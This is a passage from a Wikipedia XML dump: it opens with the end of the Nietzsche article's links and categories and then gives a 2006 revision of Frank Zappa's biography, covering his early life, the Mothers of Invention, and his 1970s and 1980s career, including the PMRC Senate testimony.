*[http://www.catholiceducation.org/articles/civilization/cc0009.html Nietzsche and the Pillars of Unbelief]
*[http://www.nietzschecircle.com/ The Nietzsche Circle]
* [http://www.fns.org.uk/ Friedrich Nietzsche Society]
* [http://www.agellus.org/nietzsche Accueil] (French translations of several works)
* [http://www.philosophicalsociety.com/Archives/Santayana's%20Criticism%20of%20Nietzsche.htm &quot;Santayana's Criticism of Nietzsche.&quot;]

[[Category:1844 births|Nietzsche, Friedrich]]
[[Category:1900 deaths|Nietzsche, Friedrich]]
[[Category:19th century philosophers|Nietzsche, Friedrich]]
[[Category:Natives of Saxony-Anhalt|Nietzsche, Friedrich]]
[[Category:Atheist philosophers|Nietzsche, Friedrich]]
[[Category:Continental philosophers|Nietzsche, Friedrich]]
[[Category:German philosophers|Nietzsche, Friedrich]]
[[Category:Existentialists|Nietzsche, Friedrich]]
[[Category:Wagnerites|Nietzsche, Friedrich]]
[[Category:Anti-Wagnerites|Nietzsche, Friedrich]]
[[Category:Stateless people|Nietzsche, Friedrich]]

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  </page>
  <page>
    <title>Frank Zappa</title>
    <id>10672</id>
    <revision>
      <id>41951769</id>
      <timestamp>2006-03-02T21:12:09Z</timestamp>
      <contributor>
        <username>Fjarlq</username>
        <id>47339</id>
      </contributor>
      <minor />
      <comment>/* Trivia */ cosmetic: film title syntax</comment>
      <text xml:space="preserve">{| class=&quot;infobox&quot; width=&quot;300&quot; align=&quot;right&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;  style=&quot;float:right; margin: 0em 0em 0em 0.5em; width:300px;&quot; 
|- 
! align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background:#efefef;&quot; | &lt;big&gt;Frank Zappa&lt;/big&gt;
|- 
| align=&quot;center&quot; colspan=&quot;2&quot;| [[Image:zappa1.jpg|none]] American composer
|- 
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background:#dadada;&quot; | [[Wikiquote:{{PAGENAME}}|&quot;A composer is a guy who goes around forcing his will on unsuspecting air molecules, often with the assistance of unsuspecting musicians.&quot;]]
|-
! '''Born''' || [[December 21]], [[1940]]
Baltimore, Maryland, USA 
|-
! '''Died''' || [[December 4]], [[1993]]
Laurel Canyon, California, USA
|-
|}

'''Frank Vincent Zappa''' ([[December 21]], [[1940]] &amp;ndash; [[December 4]], [[1993]]) was an [[United States|American]] [[composer]], [[guitarist]], [[singer]] and [[satirist]].  In his 33-year musical career, Zappa proved to be one of the most prolific musician-composers of his era, releasing over 60 albums during his lifetime, almost all of which consisted of original compositions. He was also a renowned [[electric guitar]]ist and a gifted producer-engineer who self-produced almost every recording he made after his 1966 debut.

His work spanned virtually every contemporary musical genre (including [[avant-garde]], [[Rock (music)|rock]], [[doo-wop]], [[jazz]], [[jazz fusion]] and [[contemporary classical]]), and was often noted for its blend of high art, [[rock opera]], absurdity, scatological [[humor]], and for its hilariously caustic social [[satire]]. He was also noted as a spotter of talent and his various groups included such musical luminaries as [[Lowell George]], [[Jean-Luc Ponty]], [[George Duke]], [[Mike Keneally]] and [[Steve Vai]].

Zappa had a large and fiercely dedicated worldwide following throughout his varied career, throughout the [[United States]], [[United Kingdom]], [[Italy]], [[Germany]] and the [[Scandinavia|Scandinavian]] countries, in particular.  His early albums were a strong influence on other groups (including [[The Beatles]]) and his critically acclaimed work garnered brief mainstream success in the late 1970s and early 1980s, with hit singles &quot;Dancing Fool&quot; and &quot;[[Valley Girl]]&quot;.  Zappa, as demonstrated by his disparaging comments about the music business, never put much emphasis upon mainstream acclaim.

== Early life and influences ==
Frank Zappa was born in [[Baltimore, Maryland]] on [[December 21st]], [[1940]] to Francis Zappa (born in Partanico, [[Sicily]], of [[Greeks|Greek]] and [[Lebanese]] descent) and Rose Marie Colimore (who was of 3 quarters [[Italian people|Italian]] including [[Sicilian]] and 1/4 [[French people|French]] descent).  He was the oldest of four children (two brothers and a sister).  In January of [[1951]], his family relocated to the West Coast because of Frank's [[asthma]].  They settled in [[Monterey, California|Monterey]], [[California]], about 100 miles south of [[San Francisco, California|San Francisco]].  Shortly thereafter, they moved to [[Pomona, California|Pomona]], then to [[El Cajon, California|El Cajon]] before moving a short distance, once again, to [[San Diego, California|San Diego]] in the early [[1950s]]. 

During Zappa's earliest childhood, his father, a [[chemist]] and [[mathematician]], worked at the Edgewood Arsenal [[chemical warfare]] facility at nearby [[Aberdeen Proving Ground]].  Due to the Zappa home's close proximity to the Arsenal, Zappa's father kept gas masks on hand in case of an accident.  Evidently, this had a profound effect on the young Zappa; references to germs, germ warfare and other aspects of the &quot;secret&quot; defense industry occur throughout his work.

By [[1955]] the Zappa family had relocated to [[Lancaster, California|Lancaster]].  Lancaster was a small [[aerospace]] and farming town in [[Antelope Valley]] of the [[Mojave Desert]], close to [[Los Angeles, California|Los Angeles]] and the [[San Gabriel Mountains]].  By age 15, Zappa had attended six different [[high school|high schools]], which may have contributed to his sense of alienation in adult life. 

Lancaster's location gave the young Zappa access to the exciting sounds coming from radio stations in Los Angeles and KSPC 88.7 FM in Claremont, where Zappa had his own Saturday night show. In addition, his parents were affluent enough to afford a record player, records, a television, and musical instruments.  Television also exerted a strong influence, as demonstrated by quotations from show themes and advertising jingles found in some of his work.

Among formative events was a chronic sinus problem during his early teens.  To Frank's lasting horror, his doctor treated the stubborn ailment by inserting a pellet of [[radium]] on a probe into each of his [[nostrils]].  Nasal imagery and references to the nose recur, both in his writing and in the classic collage album covers created by his longtime visual collaborator, [[Cal Schenkel]].

As a student, Zappa was bored and given to distracting the rest of the class with his antics.  He left community college after one semester to make low-budget films.  Frank maintained his disdain for formal education throughout his life, taking his children out of school at age 15 and refusing to pay for their college.  Nevertheless, he was in essence a [[polymath]].  He was highly intelligent as well as ambitious and articulate.  Zappa possessed a voracious drive, singular concentration, enormous creativity and a huge capacity for work and organization.  His passionate interest in music, highly idiosyncratic musical interests and superior ability were demonstrated at an early age.  His parents, though not musicians, had broad musical tastes.  Zappa grew up influenced in equal measures by [[avant-garde]] composers such as [[Edgard Varèse]], [[Igor Stravinsky]] and [[Anton Webern]], local [[rhythm and blues]] and [[doo-wop]] groups (particularly local [[pachuco]] groups), and modern jazz (including [[bebop]] and [[free jazz]]).

Zappa was, from the beginning, interested in sounds for their own sake.  This led to his interest in modern composers.  His introduction to [[Stravinsky]] seems to have been a pivotal musical discovery but he was soon ranging further afield musically.  After reading a magazine review panning Varèse's dissonant drum piece &quot;Ionisation&quot; (found in ''The Complete Works of Edgard Varèse, Volume One'') as 'a weird jumble of drums and other unpleasant sounds', the teenage Zappa became convinced that he should seek out Varèse's music.  When he spotted a copy of ''The Complete Works of Edgard Varèse, Volume One'' in a local record store, he convinced the salesman to sell him the copy, despite his inability to pay full price.  Thus began a lifelong passion for Varèse and his music.  Zappa's mother gave him considerable encouragement. Though she greatly disliked Varèse's music, she was indulgent enough to award Zappa the gift of a long distance call to the composer as a fifteenth birthday present.  Unfortunately, Varèse was away in Europe at the time, so Frank spoke to the composer's wife.  

Zappa began his musical career (at the age of 13) on drums, taking his first lessons at school in the summer of 1953.  He played drums with local teenage combos, but later switched to guitar, which he quickly mastered.  Although he performed as a singer-guitarist for most of his career, Zappa always retained a strong interest in rhythm and percussion.  His bands have been noted for the excellence of their drummers.  Works such as ''The Black Page'' are notorious for virtuosity and complexity in rhythmic structure and arrangement, featuring radical changes of tempo and metre as well as short, densely arranged passages contrasted by free-form breaks and extended improvisations.  Classically trained percussionist and drummer [[Terry Bozzio]], who played for Zappa in the late [[1970s]] (along with many recordings of well-known classical and avant-garde works), is on record as saying that Zappa's writing for percussion is as difficult and complex as anything else he has played.

In [[1956]] Zappa met [[Captain Beefheart|Don Van Vliet]] (best known by his stage name &quot;Captain Beefheart&quot;) while taking classes at [[Antelope Valley High School]] and playing drums in a local band, The Blackouts.  The Blackouts, a racially-mixed outfit, included Euclid James &quot;Motorhead&quot; Sherwood (who later lived with Zappa at 'Studio Z' and was a member of the Mothers of Invention, playing on many of their most famous recordings).  Zappa and Vliet became close friends, influencing each other musically, and collaborating in the late Sixties and mid-Seventies (on the album [[Bongo Fury]], released 1975).  They later became estranged for a period of years. Van Vliet's own feelings about Frank Zappa were perhaps best summarized in a quote published in a March 1994 issue of Musician magazine: &quot;I knew him for thirty-seven years, and in the end, the relationship was private.&quot; 

In [[1957]] Zappa was given his first guitar and quickly developed into a highly accomplished and inventive player. He considered his solos &quot;air sculptures&quot;, and developed an eclectic, fluent and individual style.  Zappa eventually became one of the most highly regarded electric guitarists of his time. While it is possible that Zappa may have become a professional jazz musician, he was soon drawn into rock music.  Throughout, he retained a lifelong attachment to jazz forms, voicing and structures and often drew his band members from the jazz world (if only because of the high degree of competence his music demanded).

Zappa's interest in composing and arranging burgeoned in his later high school years and he dreamed of being a [[composer]].  By his final year he was writing prolifically and had not only composed, arranged and conducted an avant-garde performance piece for the school orchestra, but had also contrived to have the event both broadcast on local radio and recorded.  A portion of this historic recording is included on the CD ''The Lost Episodes''. Zappa did see his childhood dream realized, as the [[London Symphony Orchestra]] played a program of his music, and the [[Ensemble Modern]] in [[1992]] received a 20-minute ovation after performing a program of his work at the [[Frankfurt]] Opera House.

After graduating in June [[1958]] Zappa worked for a time in advertising.  His sojourn in the commercial world was another important influence on his work, and within a few years Zappa was co-opting the techniques he learned as a commercial artist. Zappa used them to deconstruct music, the music business, the media and society at large by combining them with the ideas he had gleaned from his studies of [[dada]], [[situationism]], and [[surrealism]].  Zappa frequently referenced his advertising industry experiences in his lyrics.

Frank Zappa always took a keen interest in the visual presentation of his work, rapidly developing from album cover designer (e.g. ''[[Absolutely Free]]'') to director of his own films and videos.  Zappa's album covers are highly distinctive; frequently bizarre and surreal.  His two most important visual collaborators were [[Cal Schenkel]] in the [[Sixties]] and early [[Seventies]], and [[Donald Roller Wilson]] in the [[Eighties]] and [[Nineties]].

Zappa moved to Los Angeles in [[1959]] and spent most of the rest of his life there.  Among his earliest professional recordings are two adventurous and remarkably accomplished scores for the low-budget films ''Run Home Slow'' and ''The World's Greatest Sinner''.

He married his first wife Kay the same year but the relationship soon deteriorated and they divorced two years later. In [[1963]] he began playing professionally around Los Angeles and bought the small Pal Recording Studio in [[Rancho Cucamonga, California|Rancho Cucamonga]], California (formerly called Cucamonga), which he renamed &quot;Studio Z&quot;. 

Zappa had been recording at Pal since the early [[1960s]] and after receiving a payment for one of his film scores he was able to buy the studio, including a unique 5-track tape recorder.  Soon after, his marriage ended and he moved out of his apartment and into the studio, where he began routinely working 12 hours or more per day.  This set a pattern that would endure for almost all of his life.  At this time, only a handful of the most expensive commercial studios had multitrack facilities, the industry standard for smaller studios was still mono or two-track.  By the time he recorded his first LP with The Mothers in [[1966]] he was already an accomplished recording and mastering engineer and from his third LP on and for the rest of his career, he produced all his own work.

After being approached by a customer who offered him [[US dollar|$]]100 to produce a suggestive tape for a stag party, Zappa and a female friend jokingly faked the &quot;erotic&quot; recording, which purported to contain the sounds of people having sex.  Unfortunately the customer was an undercover member of the Vice Squad and Zappa was jailed for ten days on charges of supplying [[pornography]].  His entrapment and brief imprisonment left a permanent mark, and was a key event in the formation of his [[anarchism|anti-authoritarian]] stance. It also led him to realize that he could never go to jail again. Partly for this reason, Frank Zappa never took drugs, and fired any band members who did.

==The Mothers of Invention==
After a short career as a professional [[songwriter]]&amp;nbsp;&amp;mdash; his [[elegiac]] &quot;Memories of El Monte&quot; was recorded by [[The Penguins]]&amp;nbsp;&amp;mdash;   in 1964 Zappa joined a local R&amp;B band, The Soul Giants, as a [[guitarist]]. Soon he assumed leadership, renaming the [[rock band|band]] &quot;The Mothers.&quot; 

The Mothers gradually began to gain attention on the burgeoning Los Angeles [[underground music|underground]] 'freak scene' and in 1965 they were spotted by leading record producer [[Tom Wilson]], who had earned acclaim as the producer of the seminal [[Bob Dylan]] album ''[[Bringin' It All Back Home]]'' and the single, ''[[Like a Rolling Stone]]'', as well as the breakthrough 'electric' version of [[Simon &amp; Garfunkel]]'s ''[[Sounds of Silence]]''. Wilson was also notable as one of the only African-Americans working as a major label pop producer at this time.  Wilson signed The Mothers to the [[Verve Records|Verve]] label, which had built up a strong reputation for its fine modern jazz recordings in the 1940s and 1950s, but was then attempting to diversify into pop and rock, but with an &quot;artistic&quot; or &quot;experimental&quot; bent. Around this time, Zappa also met and signed with longtime manager [[Herb Cohen]].

[[Image:Freak Out!.jpg|thumb|''[[Freak Out!]]'', 1966]]

The Mothers signed with Verve Records, which insisted that they officially re-title themselves &quot;[[The Mothers of Invention]]&quot; out of a concern (likely justified) that the band's original moniker had obscene undertones. With Wilson credited as producer, The Mothers recorded their groundbreaking double album debut ''[[Freak Out!]]'' ([[1966]]), a mixture of often topical R&amp;B and experimental sound collage that attempted to capture the 'freak' subculture of Los Angeles at that time. One of the first record albums united by an underlying theme, it was also only the second double LP of rock music ever released, and firmly established Zappa as a major new voice in rock music. Wilson is also credited with producing the even more accomplished follow-up ''[[Absolutely Free]]''; but for the third LP, Wilson was listed as 'Executive producer', and Zappa took over as producer for all the Mothers and solo Zappa recordings issued from that time on. It is clear that even on the two first albums, Zappa was already responsible for virtually all of the musical decisions, with Wilson providing the industry clout, credibility, and connections to get the unknown group the financial resources they needed to produce a double album with use of an orchestra; by the third album, Zappa had already enough of a proven track record to allow for a more accurate description in the album's credits of their respective roles. During this period, Wilson also had Zappa collaborate with [[The Animals]] on the song &quot;All Night Long&quot; on their album [[Animalism (album)|Animalism]].

[[Image:FrankZappa-AbsolutelyFree.jpg|thumb|''[[Absolutely Free]]'', 1967]]

Zappa's second and third studio albums were landmarks of record production and were highlighted by liberal use of his famous 'cut-up' editing techniques. The brilliant ''[[Absolutely Free]]'' (1967) continued Zappa's lyrical preoccupations with the hypocrisy and conformism of American society and the sinister suppression of underground and alternative culture. It was followed by the album widely regarded as the peak of the group's late Sixties work, ''[[We're Only In It For The Money]]'' (1968) which featured some of the most radical audio editing and production yet heard in pop music, and ruthlessly satirized the [[hippie]] and [[flower power]] phenomena. The cover photo (which included [[Jimi Hendrix]]) famously parodied that of [[the Beatles]]' [[Sgt Pepper's Lonely Hearts Club Band]].

[[Image:Original We're Only in It for the Money front cover.jpg|thumb|''[[We're Only in It for the Money]]'', 1968]]

This was book-ended by two closely linked companion pieces. The dazzling audio collage ''[[Lumpy Gravy]]'' (1967) took Zappa's production techniques to a new peak and, according to Zappa himself, took nine months to edit. After ''We're Only In It For The Money'', next was his [[Doo-Wop]] tribute ''[[Cruising with Ruben &amp; the Jets]]''. Other important Mothers recordings from this period (including the pivotal song ''Oh No'') were collected in the 1970 compilation album ''[[Weasels Ripped My Flesh]]''.

During the late Sixties Zappa continued his rapid artistic development, emerging as a superb lead guitarist, a skilled producer and engineer, and a composer and arranger of extraordinary range and facility.  He increasingly used tape editing as a compositional tool; his editing skills are apparent on the stunning work he produced in the late Sixties with The Mothers. Allegedly, a [[theremin]] was used at some live performance making use of the unique sound characteristic.

Zappa evolved a unique compositional approach&amp;nbsp;&amp;mdash; which he dubbed 'conceptual continuity'&amp;nbsp;&amp;mdash; that ranged across virtually every genre of music. His work combines satirical lyrics and pop melodies with virtuoso instrumental prowess, where long, jazz-inflected improvisational passages are counterbalanced with densely edited and seemingly chaotic collage sequences that mix music, sound effects and snatches of conversation. 

He also became famous for regularly quoting musical phrases that influenced or amused him&amp;nbsp;&amp;mdash; one of his most famous and regular quotes was the riff from the perennial Sixties rock hit  'Louie Louie', which appears in various forms in more than twenty separate recordings over the whole span of his career. He also frequently quoted from or referred to TV show themes and advertising jingles, from famous rock &amp; pop songs such as ''My Sharona'', ''Do You Really Want To Hurt Me?'', ''Let's Dance'', ''Whip It'', and ''Stairway To Heaven'', and from classical works such as [[Igor Stravinsky|Stravinsky's]] &quot;The Rite Of Spring&quot; and [[Maurice Ravel|Ravel's]] &quot;Boléro.&quot;

Zappa earned a fearsome reputation as a ruthless taskmaster who possessed a seemingly limitless capacity for work (he regularly worked as much as twenty hours a day in the studio until very late in his career) who also possessed immense technical knowledge and a photographic memory of the contents of his vast archive. He also became known for dismissing the contributions of his musicians, going so far as to withhold royalties rather than share the glory.

The Mothers' anarchic stage shows were legendary&amp;nbsp;&amp;mdash; during one famous 1967 performance at the Garrick Theatre in [[New York City|New York]], Zappa managed to entice some soldiers from the audience onto the stage, where they proceeded to dismember a collection of baby dolls.

Around 1968 Zappa also began regularly recording his concerts, beginning with a simple two-track portable recorder and eventually progressing to a portable 48-track digital system. In the process he built up a vast archive of live recordings. In the late 1980s some of the best of these recordings were collected for the 12-CD set ''[[You Can't Do That On Stage Anymore]]''. Because of his insistence on precise tuning and timing in concert, from the 1970s on Zappa was able to augment his studio productions with excerpts from live shows, and he is known to have inserted 'live' guitar solos into the final studio recordings of some compositions.

Although they were lauded by critics and their peers and had a rabid cult following, mainstream audiences often found much of the Mothers' music, appearance and attitude impossible to comprehend, and the band was often greeted with derision. More importantly, the financial strain and interpersonal tensions involved in keeping a large jazz-rock ensemble on the road eventually led to the group's demise in 1969, although numerous members would remain with or return to Zappa in years to come.

During this period Zappa also produced the extraordinary double album ''[[Trout Mask Replica]]'' for his old friend [[Captain Beefheart]] as well as releases by [[Alice Cooper]], [[Tim Buckley]], [[Wild Man Fischer]] and [[The GTOs]].

==1970s==
[[Image:Frank Zappa - Hot Rats.jpg|thumb|''[[Hot Rats]]'', 1969]]

After he disbanded the original Mothers, Zappa released the acclaimed solo instrumental album ''[[Hot Rats]]'', featuring his [[jazz]]-inflected guitar playing backed by jazz, blues and R&amp;B session players including violinist [[Don &quot;Sugarcane&quot; Harris]], drummer [[John Guerin]], multi-instrumentalist [[Ian Underwood]], and bassist [[Shuggie Otis]]. It remains one of his most popular and accessible recordings and inarguably had a major influence on the development of the [[jazz-rock fusion]] genre.

Around 1970, Zappa put together a new version of The Mothers that included British drummer [[Aynsley Dunbar]], jazz keyboardist [[George Duke]], previous Mothers member Ian Underwood, and no fewer than ''three'' members of [[The Turtles]]: bass player [[Jim Pons]], who before joining [[The Turtles]] had been the lead singer of [[The Leaves]] (of &quot;Hey Joe&quot; fame); and singers [[Mark Volman]] and [[Howard Kaylan]], who due to persisting legal/contractual problems adopted the stage-monikers &quot;The Phlorescent Leech and Eddie,&quot; or &quot;[[Flo &amp; Eddie]]&quot; for short.

The new lineup debuted on Zappa's next solo LP ''[[Chunga's Revenge]]'', which was followed by the sprawling soundtrack to the movie project ''[[200 Motels]]'', featuring both The Mothers and The [[Royal Philharmonic Orchestra]]. At the time George Duke was in the band and appears both in the film and on the sound track as a musician. He left the band to play with [[Cannonball Adderly]] and was replaced by [[Don Preston]] from the original Mothers, who acted in the film, but is not playing on the soundtrack.  This double disc album was followed by two live sets, ''[[Fillmore East - June 1971]]'' and ''[[Just Another Band From L.A.]]'', which included the 20-minute track ''Billy The Mountain'', Zappa's satire on rock opera, set in Southern California. The former features hilariously low-concept cover art (similar to the [[Bootleg recording|bootleg]] albums that had recently become popular) just at the apex of the era of great rock &quot;album cover artwork&quot;. 

In 1971 there were two serious setbacks. While performing in [[Montreux]], [[Switzerland]], the Mothers' equipment was destroyed when a flare set off by an audience member started a disastrous fire that burned down the casino where they were playing &amp;mdash;an event immortalised in [[Deep Purple]]'s classic song ''[[Smoke On The Water]]''. The actual event and immediate aftermath can be heard on the bootleg album ''[[Swiss Cheese / Fire]]'', released legally as part of Zappa's [[Beat the Boots]] compilation.

Then in December 1971, Zappa was attacked on stage at the [[Rainbow Theatre]], [[London]]. A jealous boyfriend of a female fan pushed Frank off the stage and into the orchestra pit. Zappa suffered serious fractures, head trauma and injuries to his back, leg, and neck, as well as a crushed [[larynx]] (which caused his voice to drop a [[third]] after it healed). This left him wheelchair bound for a time, forcing him off the road for over a year. (He was wearing a leg brace for a period thereafter, had a noticeable limp and couldn't stand for very long while onstage.) He said one leg healed &quot;shorter than the other&quot; (a reference found years later in the lyrics of ''Dancin' Fool''). He employed tour [[bodyguard]] John Smothers, who was an accomplished martial artist, former military chauffeur and bodyguard for several big-name celebrities. Meanwhile, the Mothers were left in limbo, and eventually formed the core of [[Flo and Eddie]]'s band as they set out on their own.

[[Image:Frank Zappa - The Grand Wazoo.jpg|thumb|''[[The Grand Wazoo]]'', 1972]]
In 1971-72 Zappa released two strongly jazz-oriented solo LPs, ''[[Waka/Jawaka]]'' and ''[[The Grand Wazoo]]'', which were recorded during the layoff from live concert touring, using floating lineups of session players and Mothers alumni. He began touring again in late 1972, first with a Grand Wazoo 'big band' and with groups that variously included [[Ian Underwood]] on brass and reeds, [[Ruth Underwood]] on vibes, [[Sal Marquez]] (trumpet), [[Napoleon Murphy Brock]] (sax and vocals), [[Bruce Fowler]] (trombone), [[Tom Fowler]] (bass), [[Chester Thompson]] (drums), George Duke (keyboards, vocals) and [[Jean-Luc Ponty]] (violin).

He continued a high rate of production through the early [[1970s]], including the excellent and accessible albums ''[[One Size Fits All]]'' and ''[[Apostrophe (album)|Apostrophe]]'', ''[[Over-Nite Sensation]]'' and ''[[Roxy &amp; Elsewhere]]'' featuring ever-changing versions of a band though still called the Mothers.  These albums were notable for the highly-technical [[jazz-fusion]] the band was renowned for, demonstrated on such pieces as ''Don't You Ever Wash That Thing'' or the ''Be-Bop Tango''.

=== Läther ===
In the mid 70's Zappa began recording material for ''[[Läther]]'' (pronounced &quot;leather&quot;), an ambitious four-LP studio project extravaganza. ''Läther'' featured all aspects of Zappa's musical styles &amp;mdash;rock tunes, theatrical works, complex instrumental compositions, and Zappa's own trademark [[vacuum tube|tube]] distortion-drenched guitar solos were all recorded for the release. What happened next is subject to debate.

According to popular theory (and the liner notes of the re-release of ''Läther'' itself), he had completed the recording for the album when  [[Warner Brothers Records]] executives, wary of a quadruple-LP, decided not to support the project.  Zappa soon appeared on the (at the time) influential Los Angeles radio station [[KROQ]], allowing them to broadcast the whole album and instructing listeners to make their own tape recordings. Soon after, some of the material from ''Läther'' was officially released on ''Zappa in New York''. After a legal battle with Warner, in order to satisfy his contract, Zappa allowed the label to release much of the music on three LPs instead of four, but he had little input beyond that. The records ''[[Studio Tan]]'', ''[[Sleep Dirt]]'', and ''[[Orchestral Favorites]]'' were dumped on the market with no [[promotion]] and only cheaply produced (but exquisite) [[cover art]] by [[Gary Panter]]. These albums nevertheless include some classic Zappa tunes like &quot;RDNZL&quot;, &quot;The Adventures of Greggery Peccary&quot;, and &quot;Sleep Dirt&quot;.

An alternative theory of the ''Läther'' debacle was that upon completing the four aforementioned albums (''Zappa in New York'', ''Studio Tan'', ''Sleep Dirt'', and ''Orchestral Favorites''), Zappa turned the albums in at once, to complete his contract. Warner Brothers balked at releasing five new LPs (''Zappa in New York'' being a double album) of a single artist at once, fearing that the LPs would cut into each other's sales. Perturbed at what he felt was record label ineptitude, Zappa shipped the albums to other competing record labels. Somewhere along the line it was decided that one triple album would be more appealing than four standalone albums, and with some editing and tape splices, ''Läther'' was born. This theory is supported by the fact that each of the &quot;''Läther'' babies&quot; is a fully realized concept of its own (the live album ''Zappa in New York'', ''Sleep Dirt'', which was later overdubbed with lyrics and turned into an operetta, the &quot;mini-sampler&quot; feel of ''Studio Tan'', and the orchestral works on the aptly named ''Orchestral Favorites''), and, with the exception of ''Studio Tan'', each features songs unreleased on ''Läther''. If the former theory is true, one would have to wonder how Warner Brothers (a label Zappa publicly disliked) managed to secure unreleased material from Zappa.  ''Läther'' was finally re-constructed and released in its original form in [[1996]].

In [[1976]] the cessation of cordial relations with Zappa's long-time manager Herb Cohen also occurred.  The breakup was an acrimonious affair; exacerbated by Zappa's ongoing feud with Warner Brothers staff.  Cohen had created [[DiscReet Records]] with Zappa as a label of Warner Brothers, in order to be used as a business venture to aid funding of Zappa albums.  Zappa however discovered that Cohen had been skimming more than he was allocated from the label, and he also alleged that Cohen had used some of Frank's money to fund other recordings such as [[Captain Beefheart]].  Cohen filed a lawsuit against Zappa in return, due to Zappa taking the master copies of ''Zoot Allures'' directly to Warner, bypassing DiscReet completely. Whilst it is unknown what came of the lawsuits, with both parties remaining tight-lipped about the rancorous affair, Zappa and Cohen would never work together again.  

It was during the ''Läther'' period that Zappa recruited [[Ike Willis]] as a lead singer and backup guitarist. Zappa's 1970s period ended with the releases of the highly regarded ''[[Joe's Garage]]'', which heavily featured Willis as voice of &quot;Joe&quot;, and ''[[Sheik Yerbouti]]'' (1979), which contained Zappa classics such as ''Dancin' Fool'', ''Bobby Brown (Goes Down)'', ''Flakes'', ''Broken Hearts are for Assholes'', as well as ''Jewish Princess'', which received some controversial attention. ''Joe's Garage'' is considered to be one of Zappa's definitive achievements of the period, and ''Sheik Yerbouti'' was a commercial success, though many tracks were composed or largely recorded live during the ''Läther'' period of 1977. In fact, every song on ''Sheik Yerbouti'' uses live backing tracks recorded during the 1977–1978 tour, with varying amounts of studio overdubs added.

According to Zappa's record company Rykodisc: &quot;Bobby Brown Goes Down&quot; is perhaps the oddest of Zappa's successes. This colorful tale of a young man's  encounter with a dyke named &quot;Freddie&quot; would never get airplay in the US, but it reached the top of
the charts in Norway and Austria, was Top Ten in Germany and remains a favorite in territories where English is not the primary language. Said Zappa to [[Matt Groening]] in a 1992 Guitar World interview, &quot;I don't think anything has outsold Sheik Yerbouti, partly because &quot;Bobby Brown&quot; keeps becoming a hit every ten years... I think it was back on the charts again in Norway. For no apparent reason, it was back.&quot;

==1980s==
[[Image:Zappa_You_Are_What_You_Is.jpg|''[[You Are What You Is]]'', 1981|thumb]]

In [[1980]], Zappa helped former band members [[Warren Cuccurullo]], [[Terry Bozzio]] and [[Patrick O'Hearn]] launch their new band, [[Missing Persons]], by letting them record their 4-song demo EP in his brand new UMRK (Utility Muffin Research Kitchen) studios. In [[1981]], the double album ''[[You Are What You Is]]'' was released, featuring 19 songs, which included such complex instrumentals as &quot;Theme from the 3rd Movement of Sinister Footwear&quot;, but mainly focused on rock songs with Zappa's sardonic social commentary.  &quot;Dumb All Over&quot;, is an example of this, being a devastating tirade on religion, as is &quot;Heavenly Bank Account&quot;, wherein Zappa objurgates people such as [[Jerry Falwell]] for relying upon the US administration to finance the religious organization, the 'Moral Majority', whilst simultaneously embezzling the funds.  The album is also notable for the presence of guitar virtuoso [[Steve Vai]].

In the same year, ''[[Tinsel Town Rebellion]]'' was released, a mixture of songs taken from a [[1979]] tour, one studio track and the rest were taken from the last tour of [[1980]].  The album is a mixture of complicated instrumentals, of which &quot;The Blue Light&quot; is a salient example, demonstrating [[Vinnie Colaiuta]]'s dexterity around a [[drum kit]], and Zappa's use of ''[[sprechstimme]]'' (speaking voice), a compositional technique utilized by such composers as [[Arnold Schoenberg]], and [[Alban Berg]].  

[[Image:Zappadrowningwitch.jpeg|''[[Ship Arriving Too Late to Save a Drowning Witch]]'', 1982|thumb]]

In May of [[1982]], Zappa released [[Ship Arriving Too Late to Save a Drowning Witch]], which featured his biggest selling single, ''Valley Girl'' (topping out at #32 on the ''[[Billboard magazine|Billboard]]'' charts).  In her improvised  &quot;lyrics&quot; to the song, Zappa's daughter [[Moon Unit Zappa|Moon Unit]] satirized the vapid speech of teenage girls from the [[San Fernando Valley]]. Naturally, this led to the [[meme]]-like propagation of &quot;Valspeak&quot; such as ''gag me with a spoon'' and ''barf out''.  In 1983, [[The Man From Utopia]] was released, which was striking for its album cover, portraying Zappa as a muscle-bound, demonic guitarist.  The album itself is eclectic, featuring the vocal-led 'Dangerous Kitchen' &amp; 'The Jazz Discharge Party Hats', continuations of the ''sprechstimme'' excursions shown on &quot;You Are What You Is&quot;.  &quot;Tink Walks Amok&quot; is a piece to exhibit Arthur Barrow's capabilities on the [[bass guitar]], and doo-wop songs such as the title track and &quot;Mary Lou&quot;.

[[Image:The Man From Utopia.jpg|''[[The Man from Utopia]]'', 1983|thumb]]

After a break Zappa returned, and much of his later work was influenced by his use of the [[synclavier]] as a compositional and performance tool and his mastery of studio techniques for producing specific instrumental effects.  His work was also more explicitly political satirising the rise of [[television evangelist]]s and the [[United States Republican Party|Republican]] party. 

On [[September 19]], [[1985]], Zappa testified before the [[United States Senate|US Senate]] Commerce, Technology, and Transportation committee, attacking the Parents Music Resource Center or [[PMRC]], a music [[censorship]] (though others would say [[watchdog]]) organization founded by then-Senator [[Al Gore]]'s wife [[Tipper Gore]] and including many other political wives, including the wives of five members of the committee.  He said;
:&quot;The PMRC proposal is an ill-conceived piece of nonsense which fails to deliver any real benefits to children, infringes the civil liberties of people who are not children and promises to keep the courts busy for years  dealing with the interpretational and enforcemental problems inherent in the proposal's design.

:&quot;It is my understanding that, in law, First Amendment issues are decided with a preference for the least restrictive alternative.  In this context, the PMRC's demands are the equivalent of treating dandruff by decapitation.&quot;

Zappa put some of the PMRC hearings to music in his song ''Porn Wars''. Zappa is heard interacting with Senators [[Fritz Hollings]], [[Slade Gorton]], [[Al Gore]] (who admitted to being a Zappa fan), and, most notably, a funny exchange with Florida Senator [[Paula Hawkins]] over what toys the Zappa children played with. Zappa would also go on to argue with PMRC representatives on the [[CNN]]'s [[Crossfire (TV series)|Crossfire]] in [[1986]] and [[1987]]. [http://blog.wfmu.org/freeform/2006/02/frank_zappa_ver.html]

His last tour in a &quot;[[rock band]] format&quot; took place in [[1988]] with a 12-piece group which was reported to have a repertoire of over 800 (mostly Zappa) compositions, but which split acrimoniously before the tour was completed.  The tour was documented on the albums ''[[The Best Band You Never Heard In Your Life]]'' (Zappa &quot;standards&quot; and obscure cover tunes), ''[[Make a Jazz Noise here]]'' (mostly [[instrumental]] and [[experimental music]]), and ''[[Broadway The Hard Way]]'' (new original material), with bits also to be found on ''You Can't Do That On Stage Anymore Volume 6.''

==1990s==
